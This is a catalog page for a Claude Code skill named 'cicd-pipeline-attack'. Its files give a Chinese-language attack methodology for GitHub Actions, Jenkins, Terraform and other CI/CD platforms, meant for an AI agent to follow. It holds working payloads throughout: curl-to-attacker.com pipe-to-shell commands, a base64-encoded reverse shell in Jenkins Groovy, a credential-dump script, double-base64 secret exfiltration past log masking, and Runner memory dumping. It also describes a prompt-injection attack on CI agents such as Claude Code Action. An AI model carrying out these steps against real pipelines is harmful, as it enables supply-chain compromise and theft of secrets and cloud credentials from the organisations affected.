
Cicd Pipeline Attack
- 25 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
cicd-pipeline-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- cicd-pipeline-attack
- AI & Agent Building
- AI-coding skill
Cicd Pipeline Attack by the numbers
- 25 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,764 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill cicd-pipeline-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 25 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
CI/CD 流水线与供应链攻击方法论
CI/CD 系统是现代软件工程的核心基础设施——它们拥有代码仓库的读写权限、持有云平台的部署凭据、能够直接修改生产环境。一旦攻陷流水线,攻击者可以同时获得代码控制权、Secrets 访问权和云环境穿透能力,其影响范围远超单台服务器的沦陷。
本技能以决策树形式组织 CI/CD 攻击方法论。各平台的详细技术手法请参阅对应的参考文档。
深入参考
识别到具体平台后,加载对应参考文档获取完整攻击技术细节:
- GitHub Actions 专项攻击手法 → 读 references/github-actions-abuse.md
- Jenkins / Terraform / Atlantis / GitLab CI / Azure DevOps / CircleCI / Drone / Buildkite 等平台 → 读 references/platform-specific.md
- 跨平台构建文件注入(package.json、setup.py、Makefile、Bazel、Maven/Gradle、csproj)→ 读 references/build-file-injection.md
Phase 0: CI/CD 系统识别
在目标代码仓库或基础设施中发现以下标识文件时,可确定对应的 CI/CD 平台:
| 标识文件/特征 | CI/CD 平台 | 下一步 |
|---|---|---|
.github/workflows/*.yml | GitHub Actions | → Phase 2 PPE + 参考 github-actions-abuse.md |
Jenkinsfile 或 /script 控制台 | Jenkins | → Phase 4 Jenkins 专项 + 参考 platform-specific.md |
.gitlab-ci.yml | GitLab CI | → Phase 2 PPE + 参考 platform-specific.md |
.circleci/config.yml | CircleCI | → Phase 2 PPE + 参考 platform-specific.md |
azure-pipelines.yml | Azure DevOps | → Phase 2 PPE + 服务连接 Secret 提取 |
.drone.yml | Drone CI | → Phase 2 PPE + Self-hosted Runner 检查 |
.buildkite/*.yml | Buildkite | → Phase 2 PPE + Agent 云/K8s 权限检查 |
atlantis.yaml + Webhook | Atlantis | → Phase 4 Atlantis 专项 |
*.tf + Terraform Cloud | Terraform Cloud | → Phase 4 Terraform 专项 |
serverless.yml | Serverless Framework | → 参考 platform-specific.md |
docker-compose.yml + CI 触发 | Docker Build | → 检查构建上下文泄露 |
| Airflow DAGs / Concourse pipeline | Airflow / Concourse | → 参考 platform-specific.md |
快速识别技巧:
- 克隆仓库后搜索配置文件:查找
Jenkinsfile、.github/workflows、.gitlab-ci.yml、.circleci、atlantis.yaml - 检查 Webhook 配置:Webhook URL 暴露 CI/CD 服务类型和内网地址
- 枚举 CI/CD 服务端口:Jenkins 默认 8080,Atlantis 默认 4141,GitLab Runner 8093
Phase 1: VCS 攻击面
在进入流水线攻击之前,VCS(版本控制系统)本身就是重要的攻击面。
1.1 代码泄露
代码仓库中常见的敏感信息来源:
- Git 历史记录:已删除的密钥/凭据可能仍在 commit 历史中(
git log -p搜索所有分支) - 公开仓库:使用 GitHub Dork 搜索组织名称 + 关键词(
password、secret、token、AWS_) - 已删除的 Fork 数据:GitHub 上已删除的 fork 中的 commit 数据仍可通过 commit hash 访问
- 内部仓库暴露:private 仓库变 public 前的 fork 数据可通过短 SHA-1 暴力枚举
1.2 分支保护绕过
分支保护是防止恶意代码合入的关键防线,但存在多种绕过方式:
| 绕过场景 | 条件 | 攻击方法 |
|---|---|---|
| 审批不足 | 控制多个账户 | 使用其他账户审批自己的 PR |
| GITHUB_TOKEN 自审批 | Actions 有写权限 | 通过 Actions 中的 GITHUB_TOKEN 审批 PR |
| 推送后审批未失效 | 未启用 "dismiss on push" | 先提交合法代码获得审批,再推送恶意代码 |
| CODEOWNERS 配置错误 | 文件格式有误 | GitHub 不报错但 CODEOWNERS 保护失效 |
| 新分支无保护 | 使用通配符 * 但有延迟 | 创建新分支时分支保护尚未生效,第一次 push 可触发 Actions |
| 管理员豁免 | 管理员未纳入规则 | 管理员可直接绕过所有分支保护 |
| PR 劫持 | 可修改他人 PR | 在他人的 PR 中注入恶意代码后自行审批合并 |
1.3 Webhook 滥用
- 无 Secret 验证:攻击者可伪造 Webhook 请求触发流水线
- Secret 暴露在 URL 中:Secret 附在 URL 参数中,易被日志记录
- IP 白名单绕过:在 GitHub/GitLab 上创建账户配置 Webhook 即可向白名单内的 Jenkins/Atlantis 发送请求
- Bitbucket Cloud:不支持 Webhook Secret,只能依赖 IP 白名单
Phase 2: PPE -- Poisoned Pipeline Execution
PPE 是 CI/CD 攻击的核心框架。攻击者通过修改 CI 配置文件或其依赖文件来"毒化"流水线,使其执行恶意命令。
PPE 判定决策树
是否能写入/修改 CI 配置文件(workflow yml / Jenkinsfile / .gitlab-ci.yml)?
├── 是 → D-PPE(直接毒化)
│ ├── 能直接推送到触发分支 → 最简单路径
│ └── 需要 PR → 检查 PR 是否触发流水线
│
├── 否,但能修改 CI 配置依赖的文件?
│ ├── Makefile / build.sh / package.json / requirements.txt → I-PPE(间接毒化)
│ ├── Terraform .tf 文件 → I-PPE via external data source
│ └── Dockerfile → I-PPE via build context
│
└── 否,且无仓库写权限?
└── 3PE(第三方毒化)
├── 能否提交外部 PR? → pull_request 触发器
├── PR 标题/描述是否被注入到 shell 命令? → Context Script Injection
└── 能否通过 issue/comment 触发? → issue_comment 触发器D-PPE(Direct PPE)
攻击者直接修改 CI 配置文件。这是最直接的攻击路径:
- 前提:拥有仓库写权限,或能通过 PR 触发使用 PR 分支配置的流水线
- 目标文件:
.github/workflows/*.yml、Jenkinsfile、.gitlab-ci.yml、.circleci/config.yml - 关键条件:某些平台(如 GitHub Actions 的
pull_request触发器)会使用 PR 提交者的 workflow 版本——这意味着攻击者的修改会被执行
I-PPE(Indirect PPE)
攻击者不修改 CI 配置文件本身,而是修改 CI 配置所依赖的文件:
- 构建脚本:
Makefile、build.sh、package.json的scripts字段 - 依赖文件:
requirements.txt、package-lock.json(供应链注入) - IaC 配置:Terraform
.tf文件中的externaldata source 或local-execprovisioner - Docker 构建:控制 Dockerfile 或构建上下文路径
I-PPE 的局限性在于攻击者只能访问流水线原本就加载的 Secrets,无法通过配置声明新的 Secret 引用。
3PE(Third-Party PPE / Public PPE)
无仓库写权限的外部攻击者通过以下方式触发流水线:
Context Script Injection(最常见):
当 CI 配置使用 ${{ github.event.pull_request.title }} 等用户可控表达式在 run: 步骤中拼接 shell 命令时,攻击者可通过 PR 标题注入命令。GitHub Actions 在执行前先渲染表达式,所以 shell 引号转义无法防御。
危险触发器对比:
| 触发器 | Secrets 访问 | 写权限 | 使用的代码版本 | 风险 |
|---|---|---|---|---|
pull_request | 无(GITHUB_TOKEN 只读) | 无 | PR 分支 | 低(但可上传恶意 Artifact) |
pull_request_target | 有 | 有 | 基础分支(默认安全) | 高(若 checkout PR 代码则极危险) |
workflow_run | 有 | 有 | 取决于配置 | 高(常被链式利用) |
issue_comment | 有 | 有 | 基础分支 | 高(结合 checkout PR ref 可 RCE) |
`pull_request_target` 的致命误用:
虽然 pull_request_target 在基础分支上下文运行(看似安全),但如果 workflow 中显式 checkout 了 PR 的代码(ref: ${{ github.event.pull_request.head.sha }}),则攻击者的代码会在拥有 Secrets 和写权限的环境中执行。
Phase 3: Secrets 窃取与横向移动
成功毒化流水线后,核心目标是窃取 Secrets 并向外扩展。
3.1 Secrets 提取方法
环境变量:
env | base64导出所有环境变量(base64 编码可绕过 GitHub 的日志掩码)- 双重 base64 编码进一步绕过掩码:
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
文件系统:
- 临时脚本文件:
/home/runner/work/_temp/*(GitHub Actions 存储渲染后的脚本) - 进程内存:
gcore或/proc/<pid>/mem读取 Runner.Worker/Runner.Listener 进程中的明文 Secrets
无法直接外传时:
- 使用 GITHUB_TOKEN 创建仓库/issue/comment 作为数据中转
- 将 Secrets 写入 Artifact 上传
- 写入 Actions 日志(注意掩码规则)
3.2 CI/CD 到云环境穿越
CI/CD Runner 通常拥有云平台凭据用于部署。这些凭据是从 CI/CD 穿越到云环境的桥梁:
| 凭据来源 | 位置 | 利用方式 |
|---|---|---|
| OIDC Token(GitHub → AWS/GCP/Azure) | id-token: write 权限 | 请求 OIDC Token → AssumeRoleWithWebIdentity |
| AWS 静态 AK/SK | 环境变量或 Secrets | 参考 cloud-aksk-exploit 技能 |
| GCP Service Account JSON | 文件或环境变量 | 参考 gcp-pentesting 技能 |
| Azure Service Principal | 环境变量 | 参考 aws-pentesting 技能中的 Azure 相关内容 |
| Terraform Cloud Runner 凭据 | tfc-aws-*/tfc-gcp-* 文件 | 直接使用 CLI 操作云资源 |
| Kubernetes kubeconfig | ~/.kube/config 或挂载的 SA Token | 集群接管 |
| Docker Registry Token | ~/.docker/config.json | 推送恶意镜像 |
Self-hosted Runner 额外攻击面:
- 云元数据服务(169.254.169.254)→ 获取实例绑定的 IAM 角色凭据
- 内网横向移动 → 访问内网其他服务
- Docker API(2375/tcp)→ 容器逃逸
- Kubernetes 集群访问 → DaemonSet 横向扩展
3.3 生产环境接管
如果流水线直接负责生产部署:
- 代码篡改:在构建产物中注入后门代码
- 供应链攻击:篡改 npm/PyPI 包发布流程(窃取 publish token → 发布恶意版本)
- 镜像投毒:修改 Docker 镜像层注入恶意代码
- IaC 篡改:修改 Terraform/CloudFormation 配置创建后门资源
Phase 4: 平台专项攻击
4.1 GitHub Actions
GitHub Actions 是最广泛使用的 CI/CD 平台之一,攻击面丰富:
- Artifact Poisoning:低权限 workflow 上传恶意 Artifact → 高权限 workflow 下载并执行
- Cache Poisoning:跨 workflow 共享的缓存无信任隔离 → 毒化缓存中的脚本/二进制文件
- GITHUB_TOKEN 滥用:合并 PR、审批 PR、创建 PR
- Action Tag 劫持:攻击者获取 Action 仓库写权限后 force-push 标签指向恶意 commit
- AI Agent 注入:CI 中的 LLM Agent(Gemini/Claude Code Action)可被 prompt injection 控制
→ 读 references/github-actions-abuse.md
4.2 Jenkins
Jenkins 的高权限特性使其成为高价值目标:
- Groovy Script Console(
/script)→ 直接 RCE - Pipeline 创建/修改 → 通过 Jenkinsfile 执行任意命令
- 凭据转储 → Groovy 脚本导出 credentials.xml 中的所有密钥
- 文件读取 → RCE → 读取
master.key+hudson.util.Secret→ 离线解密所有凭据 → 伪造 remember-me Cookie
→ 读 references/platform-specific.md
4.3 Terraform / Atlantis
IaC 工具的攻击核心在于代码即执行:
- Terraform Plan RCE:
externaldata source 或恶意 Provider 在plan阶段即可执行代码 - Terraform Apply RCE:
local-execprovisioner 在apply阶段执行 - State 文件篡改:写入 state 文件注入恶意 provider → 下次 plan/apply 触发 RCE
- Atlantis Plan 注入:PR 中修改
.tf文件触发atlantis plan→ 在 Atlantis 服务器上 RCE - Atlantis Custom Workflow:当
allow_custom_workflows=true时,atlantis.yaml可定义任意执行步骤 - Terraform Cloud Speculative Plan:窃取 TFC Token → 触发 speculative plan → 在 Runner 上执行代码 → 获取注入的云凭据
→ 读 references/platform-specific.md
4.4 其他平台速查
| 平台 | 关键攻击路径 | 详情 |
|---|---|---|
| GitLab CI | Runner Token 窃取、共享 Runner 逃逸、CI 变量注入 | → platform-specific.md |
| CircleCI | Context Secrets 窃取、SSH Rerun、项目变量导入 | → platform-specific.md |
| Azure DevOps | Service Connection Secret、变量/参数注入、Runner hijack | → platform-specific.md |
| Drone CI | .drone.yml commands 注入、Self-hosted Runner 云/K8s 权限 | → platform-specific.md |
| Buildkite | .buildkite/*.yml command 注入、Agent 所在云/K8s 权限 | → platform-specific.md |
| Serverless Framework | IAM Role 提权(默认 AdministratorAccess)、Plugin 投毒 | → platform-specific.md |
| CloudFlare | Workers 滥用、Zero Trust 绕过 | → platform-specific.md |
| Concourse / Airflow | 参考 platform-specific.md 快速参照表 | → platform-specific.md |
注意事项
操作安全:
- CI/CD 系统通常有完整的审计日志——PR 创建、workflow 执行、Secrets 访问都会被记录
- GitHub 上的 PR 即使删除账户后仍可能被 SIEM 捕获
- Self-hosted Runner 上的操作可能触发 EDR/HIDS 告警
- 在授权测试中应事先与客户确认 CI/CD 测试范围和影响
Secrets 保护绕过:
- GitHub Actions 日志掩码只保护渲染输出,进程内存中仍存在明文
- 使用 base64 编码或加密可绕过大多数自动掩码机制
- JWT 签名值等派生数据不会被掩码
供应链攻击升级:
- 窃取到 npm/PyPI publish token 后可发布恶意包版本
- npm 的
preinstall/postinstallhook 在安装时自动执行 - Python 的
.pth文件在解释器启动时自动执行 - 单个 CI/CD 沦陷可能级联影响整个供应链(参考 tj-actions/Ultralytics 事件)
跨平台构建文件注入
构建文件注入适用于不知道目标使用哪种 CI/CD、或同一仓库被多个 CI/CD 系统构建的场景。与直接修改 workflow 相比,它属于 I-PPE:不改 CI 配置本身,而是修改 CI 必然会执行的构建脚本、包管理器生命周期 hook 或 wrapper。
---
1. 选择注入点
优先寻找 CI 日志或配置里明确调用的文件;没有日志时按语言生态判断。
| 文件 | 生态 | 常见触发点 | 注意 |
|---|---|---|---|
package.json | Node.js | preinstall / install / build / test | payload 必须 JSON escape |
setup.py | Python | pip install . / build package | 现代项目也可能使用 pyproject.toml,不要假设一定执行 |
*.sh | 通用 | 自定义 build/test/deploy 脚本 | 改整文件噪声大,优先只改被调用脚本 |
gradlew / mvnw | Java | wrapper 被 CI 直接执行 | Windows 还要看 .bat / .cmd wrapper |
pom.xml | Maven | exec-maven-plugin 等插件 | XML 特殊字符要转义 |
BUILD.bazel | Bazel | genrule / 自定义 rule | shell payload 中反斜杠需要额外转义 |
Makefile | C/C++/Go/通用 | make / make test / make build | 注意 tab 缩进 |
Rakefile | Ruby | rake / rake test | 任务名要匹配 CI 调用 |
*.csproj | .NET | BeforeBuild / BeforeCompile Target | XML 与 PowerShell 双重转义 |
---
2. 最小验证载荷
授权测试中优先用最小回调确认执行上下文,不直接外传 Secrets。先证明“哪个文件、哪个阶段、哪个 Runner”会执行,再决定是否进入 Secrets/云凭据评估。
id
hostname
env | grep -iE 'ci|runner|build|token|secret|key' | head如果需要出网验证,使用一次性 HTTP/DNS 回调,记录包名、仓库名、主机名即可,避免收集业务数据。
---
3. 常见注入模式
package.json
{
"scripts": {
"preinstall": "id && hostname",
"build": "id && hostname",
"test": "id && hostname"
}
}preinstall / install 适合验证依赖安装阶段;build / test 适合验证 CI 明确执行的脚本。只修改目标已有脚本通常比替换整个 scripts 对象更隐蔽,也更不容易破坏构建。
setup.py
from setuptools import setup
import os
os.system('id && hostname')
setup(name='example', version='0.0.1')只有当 CI 执行 pip install .、构建 wheel/sdist 或老式 Python 项目仍使用 setup.py 时才会触发。
Maven / Gradle wrapper
gradlew、mvnw、gradlew.bat、mvnw.cmd 是脚本文件,本质上可以在 wrapper 开头插入最小验证命令。若 wrapper 不存在,再考虑 pom.xml 插件路径。
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.6.0</version>
<executions>
<execution>
<id>verify-runner</id>
<phase>validate</phase>
<goals><goal>exec</goal></goals>
</execution>
</executions>
<configuration>
<executable>sh</executable>
<arguments><argument>-c</argument><argument>id && hostname</argument></arguments>
</configuration>
</plugin>
</plugins>
</build>BUILD.bazel
genrule(
name = "verify_runner",
outs = ["runner.txt"],
cmd = "id > $@ && hostname >> $@",
visibility = ["//visibility:public"],
)Bazel 注入要确认目标 CI 是否实际构建该 target;否则只是新增了不会被执行的规则。
Makefile / Rakefile
.PHONY: build test
build:
id && hostname
test:
id && hostnametask :build do
sh "id && hostname"
end
task :test do
sh "id && hostname"
end.csproj
<Project>
<Target Name="VerifyRunner" BeforeTargets="Build;BeforeBuild;BeforeCompile">
<Exec Command="cmd.exe /c whoami && hostname" />
</Target>
</Project>---
4. 判断是否值得继续
构建文件注入成功后,按影响面继续判断:
1. Runner 是托管还是 self-hosted?self-hosted 通常有内网、云元数据、Docker/K8s 权限。 2. 当前 Job 是否有 Secrets?外部 PR、fork PR、protected branch 的规则会影响 Secrets 注入。 3. Token 权限是否可写?如 GITHUB_TOKEN、CI_JOB_TOKEN、Azure service connection、Registry publish token。 4. 是否影响发布链路?能发布包、推镜像或部署 IaC 时,风险从 CI RCE 升级为供应链投毒。
---
5. 操作边界
- 不要无差别替换所有构建文件;优先修改 CI 明确调用的最小文件。
- 不要在公共包或公共仓库投放会影响非目标用户的 payload。
- 不要把 Secrets 直接打印到公开日志;授权验证优先使用最小回调和受控存储。
- 修改构建文件会留下清晰审计痕迹,完成验证后应恢复并记录影响范围。
GitHub Actions 专项攻击技术
本文档覆盖 GitHub Actions 平台的攻击技术细节,包括 Artifact/Cache Poisoning、Context Script Injection、GITHUB_TOKEN 滥用、OIDC Token 利用等。
1. 触发器安全模型
理解各触发器的权限边界是攻击 GitHub Actions 的基础。
pull_request vs pull_request_target
这是最关键的安全区分:
| 特性 | pull_request | pull_request_target |
|---|---|---|
| 运行的代码版本 | PR 分支(攻击者控制) | 基础分支(仓库维护者控制) |
| GITHUB_TOKEN 权限 | 只读 | 读写 |
| Secrets 访问 | 无(fork PR 不注入 Secrets) | 有 |
| 首次贡献者 | 需维护者审批 | 自动运行 |
| 典型攻击方式 | 上传恶意 Artifact | 见下方"致命误用"模式 |
`pull_request_target` 的致命误用模式:
当 workflow 使用 pull_request_target 但显式 checkout PR 代码时,攻击者的代码在拥有完整 Secrets 的环境中执行:
# 危险模式 - 攻击者代码在有 Secrets 的环境中运行
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # 检出了攻击者的代码
- run: npm install # 攻击者控制的 package.json 被执行搜索此类漏洞的 GitHub Dork:event.pull_request pull_request_target extension:yml
workflow_run 链式触发
workflow_run 在另一个 workflow 完成后触发,继承完整的 Secrets 和写权限。攻击链:
1. 低权限的 pull_request workflow 被外部 PR 触发 2. workflow_run 监听该 workflow 完成后触发 3. 如果 workflow_run 的 workflow 下载了 PR 的 Artifact 或使用了 PR 的 commit SHA → RCE
issue_comment 触发器
issue_comment 以仓库级别凭据运行,不区分评论者身份。当 workflow 检查评论是否属于 PR 并 checkout refs/pull/<id>/head 时:
on:
issue_comment:
types: [created]
jobs:
run:
if: github.event.issue.pull_request && contains(github.event.comment.body, '!deploy')
steps:
- uses: actions/checkout@v3
with:
ref: refs/pull/${{ github.event.issue.number }}/head # 攻击者的 PR 代码任何能在 PR 中输入触发关键词的人都可以在拥有写权限的 Runner 上执行代码。Rspack 安全事件即利用此模式:攻击者开 PR → 评论触发词 → workflow 执行 fork 的代码 → 窃取长期 PAT。
2. Context Script Injection
GitHub Actions 的表达式 ${{ ... }} 在步骤执行前被渲染为纯文本并插入 shell 脚本。如果用户可控值被直接插入 run: 块,攻击者可注入任意 shell 命令。
核心原理
渲染发生在执行之前——shell 引号转义无法防御,因为注入发生在模板渲染阶段:
# 漏洞模式
- run: echo "New issue ${{ github.event.issue.title }} created"
# 攻击者 issue 标题: $(curl https://attacker.com/sh | sh)
# 渲染后: echo "New issue $(curl https://attacker.com/sh | sh) created"常见可注入上下文
| 上下文 | 触发事件 | 风险等级 |
|---|---|---|
github.event.issue.title | issues | 高 |
github.event.issue.body | issues | 高 |
github.event.pull_request.title | pull_request / pull_request_target | 高 |
github.event.pull_request.body | pull_request / pull_request_target | 高 |
github.event.pull_request.head.ref | pull_request / pull_request_target | 高 |
github.event.comment.body | issue_comment | 高 |
github.event.discussion.title | discussion | 中 |
github.head_ref | pull_request | 高 |
安全修复模式
将不可信输入通过 env: 映射传递,在 run: 中使用 shell 变量引用:
# 安全模式
- name: Process issue
env:
TITLE: ${{ github.event.issue.title }}
run: echo "New issue $TITLE created"注意:不要在 run: 中使用 ${{ env.TITLE }},这又会回到模板渲染注入的问题。
3. Artifact Poisoning
Artifact 是 GitHub Actions 中跨 workflow 传递数据的机制。攻击链利用低权限 workflow 上传恶意 Artifact,高权限 workflow 下载并执行。
攻击链
1. 攻击者通过 pull_request 触发低权限 workflow 2. 低权限 workflow 中上传恶意 Artifact(actions/upload-artifact) 3. 高权限的 workflow_run workflow 使用 dawidd6/action-download-artifact 下载 Artifact 4. 如果 Artifact 未指定 path 参数,文件被解压到当前目录,可覆盖脚本 5. 后续步骤执行被覆盖的脚本 → RCE
关键条件
- 高权限 workflow 必须下载并执行 Artifact 内容
- 如果使用
dawidd6/action-download-artifact且未设置path,文件直接解压到工作目录 - 被覆盖的文件(如
script.py)在后续步骤中被执行
4. Cache Poisoning
GitHub Actions 的缓存是仓库全局共享的,不按 workflow、事件类型或信任级别隔离。低权限作业可以污染高权限作业使用的缓存。
攻击原理
- 缓存条目仅通过
key字符串标识,restore-keys允许前缀匹配 - 任何能写缓存的作业(包括
permissions: contents: read)都可以覆盖缓存条目 - 缓存恢复为 zstd 压缩包直接解压,无完整性验证
- 如果缓存中包含脚本或二进制文件(如构建工具),攻击者控制执行路径
攻击步骤
1. 确定目标高权限 workflow 使用的缓存 key(通常是确定性的,如 pip-${{ hashFiles('poetry.lock') }}) 2. 通过低权限触发器(如 pull_request_target)写入同 key 的恶意缓存 3. 恶意缓存中包含被篡改的脚本/二进制文件 4. 高权限 workflow 恢复缓存并执行篡改内容 → 获得 Secrets 访问权
高级技术(2025-2026)
- Cache v2 前缀命中:精确 key 未命中时回退到前缀匹配,攻击者可预置近似碰撞的 key
- 强制淘汰:GitHub 超过 10GB 限制时立即淘汰。攻击者先上传垃圾填满配额,触发合法缓存淘汰,再写入恶意缓存
- 缓存穿透到 Bot PAT 窃取:缓存投毒暴露 Bot PAT → force-push Bot 拥有的 PR head → 在合并前替换为恶意 commit
防御建议
- 按信任边界使用不同缓存 key 前缀(
untrusted-vsrelease-) - 禁止在处理不可信输入的 workflow 中写缓存
- 执行前验证缓存内容的完整性(哈希校验)
5. GITHUB_TOKEN 利用
当攻击者在 Actions Runner 中获得代码执行权后,GITHUB_TOKEN 提供以下能力:
- 合并 PR:
PUT /repos/{owner}/{repo}/pulls/{pr}/merge - 审批 PR:
POST /repos/{owner}/{repo}/pulls/{pr}/reviewswith{"event":"APPROVE"}——可用于绕过需要审批的分支保护 - 创建 PR:自动创建包含恶意代码的 PR
- 推送代码:如果 token 有
contents: write权限
日志中检查 Token 权限: Actions 执行日志中会显示 GITHUB_TOKEN 被授予的权限范围。
Secrets 双重 base64 绕过掩码:
- run: echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0本地解码:echo "ZXdv...Zz09" | base64 -d | base64 -d
6. OIDC Token 滥用(GitHub → Cloud)
GitHub Actions 支持 OIDC 联合身份,workflow 可以请求 OIDC JWT Token 并用它在 AWS/GCP/Azure 中换取临时凭据。
攻击条件
- Workflow 声明了
permissions: id-token: write - 云端配置了信任 GitHub OIDC Provider 的 IAM Role/Service Account
- 信任策略过于宽松(例如只验证组织名但不验证仓库或分支)
利用流程
1. 在 Runner 中请求 OIDC Token 2. 使用 Token 调用 sts:AssumeRoleWithWebIdentity(AWS)或对应的 GCP/Azure 接口 3. 获取临时云凭据 → 参考 aws-pentesting / gcp-pentesting 技能进行后续利用
Terraform Cloud OIDC
Terraform Cloud Runner 工作目录中的凭据文件:
- GCP:
tfc-google-application-credentials(WIF JSON)+tfc-gcp-token(短期访问 Token) - AWS:
tfc-aws-shared-config(OIDC Role Assumption)+tfc-aws-token
7. 已删除数据的恢复
GitHub 上被删除的数据可能仍然可访问:
- 已删除的 Fork:fork 中的 commit 数据在 fork 删除后仍可通过原始仓库的 commit hash 访问
- 已删除的仓库:如果存在 fork,原仓库删除后所有变更仍可通过 fork 访问
- Private 仓库数据:private 仓库变为 public 之前的内部 fork 数据可能被访问
访问方式:https://github.com/<user>/<repo>/commit/<commit_hash>,短 SHA-1(7 字符)可暴力枚举。
8. Action 供应链攻击
Mutable Tag 劫持
GitHub Actions 建议使用 uses: owner/action@v1 引用,但 v1 是可变标签。攻击者获取 Action 仓库写权限后:
1. Force-push v1、v1.2.3 等标签指向包含恶意代码的 commit 2. 所有下游 workflow 在下次运行时自动拉取恶意版本 3. 恶意代码在正常 Action 逻辑之前执行,窃取 Secrets 后继续正常流程(不影响输出)
防御: 使用完整 commit SHA 固定 Action 版本(uses: owner/action@a1b2c3d4...)
Imposter Commits
GitHub 允许从 fork 向原始仓库提交 PR,即使 PR 未被接受,commit ID 仍在原始仓库中有效。攻击者可以伪造引用,使 workflow 使用看似来自可信仓库但实际由攻击者创建的 commit。
Deleted Namespace 劫持
如果 Action 引用的仓库所有者更改了用户名(且仓库 star 数 < 100),攻击者可以注册同名用户并创建同名仓库来接管该 Action。
9. AI Agent Prompt Injection
CI/CD 中越来越多使用 LLM Agent(Gemini CLI、Claude Code Action、OpenAI Codex)。这些 Agent 在拥有 GITHUB_TOKEN 和 shell 执行能力的 Runner 中运行,同时消费不可信的仓库元数据。
攻击面
- Issue/PR 标题和正文被直接注入 prompt
- Agent 的工具调用(
run_shell_command、ghCLI)继承作业环境 - 即使初始 prompt 安全,Agent 通过工具获取 issue/PR 内容时仍可被间接注入
Claude Code Action TOCTOU
攻击者开 PR → 维护者评论触发 → 攻击者在 Agent 收集上下文前修改 PR 标题为恶意 payload → Agent 执行被注入的指令(如覆盖 Runner 上的 bun 二进制文件)→ 后续构建步骤执行攻击者代码。
10. Self-hosted Runner 利用
Self-hosted Runner 通常有更丰富的攻击面:
- 云元数据服务:获取实例绑定的 IAM 角色凭据
- Docker API 探测:
curl http://127.0.0.1:2375/version检查暴露的 Docker API - Kubernetes 访问:检查
~/.kube/config或挂载的 ServiceAccount Token - 内网横向移动:Self-hosted Runner 通常在内网,可访问其他内部服务
- Runner 进程内存:
Runner.Listener进程包含所有步骤的 Secrets 明文
# Runner 进程内存转储
PID=$(pgrep -f 'Runner.Listener')
sudo gcore -o /tmp/runner "$PID"
strings "/tmp/runner.$PID" | grep -E 'gh[pousr]_|AKIA|ASIA|BEGIN .*PRIVATE KEY'11. Actions 策略绕过
即使组织/仓库配置了 Actions 策略限制某些 Action 的使用,攻击者可以在 workflow 中先 git clone 该 Action 到本地目录,再以本地路径引用(uses: ./tmp/action)。策略不检查本地路径引用。
12. 痕迹清理
- GitHub 上的 PR 即使删除也会被 SIEM 记录
- 如果攻击者的 GitHub 账户被 GitHub 封禁,其所有 PR 会自动从公开界面移除
- 组织发现被攻击的唯一方式可能是通过 SIEM 中的 GitHub 审计日志
CI/CD 平台专项攻击技术
本文档覆盖 Jenkins、Terraform、Atlantis、GitLab CI、CircleCI、Serverless Framework、CloudFlare 等 CI/CD 平台的攻击技术细节。
---
1. Jenkins
Jenkins 通常以 SYSTEM 权限运行,拥有对所有 Secrets 和构建节点的完全访问权。攻陷 Jenkins 等同于获得整个 CI/CD 流程的控制权。
1.1 未认证枚举
在尝试攻击前,先确认可访问的信息面:
| 路径 | 信息 | 是否需要认证 |
|---|---|---|
/asynchPeople/ | 用户列表 | 可能无需认证 |
/securityRealm/user/admin/search/index?q= | 用户搜索 | 可能无需认证 |
/oops 或 /error | Jenkins 版本号 | 通常无需认证 |
/credentials/ | 凭据列表(名称可见) | 需要认证 |
/computer/ | 构建节点列表 | 需要认证 |
登录方式: 注册(某些实例允许)、SSO(GitHub/Bitbucket 账户)、暴力破解(Jenkins 无密码策略和锁定机制)。
1.2 Script Console RCE
最直接的 RCE 路径。访问 /script(需要 Admin 或 Script Console 权限)执行 Groovy 脚本:
// 命令执行(Linux)
"ls /".execute().text
// 命令执行(Windows)
"cmd.exe /c dir".execute().text
// 完整输出版
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'id'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"Linux 反弹 shell(base64 编码绕过特殊字符):
def proc = 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjE=}|{base64,-d}|{bash,-i}'.execute()1.3 Pipeline 创建/修改 → RCE
创建新 Pipeline: 在 /view/all/newJob 创建 Pipeline 类型项目,在 Pipeline 配置区写入恶意 Groovy:
pipeline {
agent any
stages {
stage('RCE') {
steps {
sh 'curl https://attacker.com/shell.sh | sh'
}
}
}
}修改现有 Pipeline: 如果攻击者对存储 Jenkinsfile 的仓库有写权限,修改 Jenkinsfile 即可在下次构建时执行。无需 Jenkins Web 控制台的访问权限。
1.4 Pipeline Sandbox 绕过
Jenkins Pipeline 运行在 Groovy Sandbox 中,但存在多种绕过方式:
- `@Grab` 注解:动态下载并加载外部 JAR,可包含任意代码
- 元编程/反射:通过 Groovy 元编程绕过沙箱白名单
- Script Approval 钓鱼:提交需要管理员审批的脚本,利用社工让管理员点击 Approve
1.5 凭据转储
通过 Groovy Script Console 转储所有凭据:
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
def credentialsStore = Jenkins.instance.getExtensionList(
'com.cloudbees.plugins.credentials.SystemCredentialsProvider'
)[0]?.getStore()
credentialsStore?.getCredentials(
com.cloudbees.plugins.credentials.domains.Domain.global()
).each {
if (it instanceof UsernamePasswordCredentialsImpl)
println "${it.id}: ${it.username} / ${it.password?.getPlainText()}"
else if (it instanceof org.jenkinsci.plugins.plaincredentials.StringCredentials)
println "${it.id}: ${it.secret?.getPlainText()}"
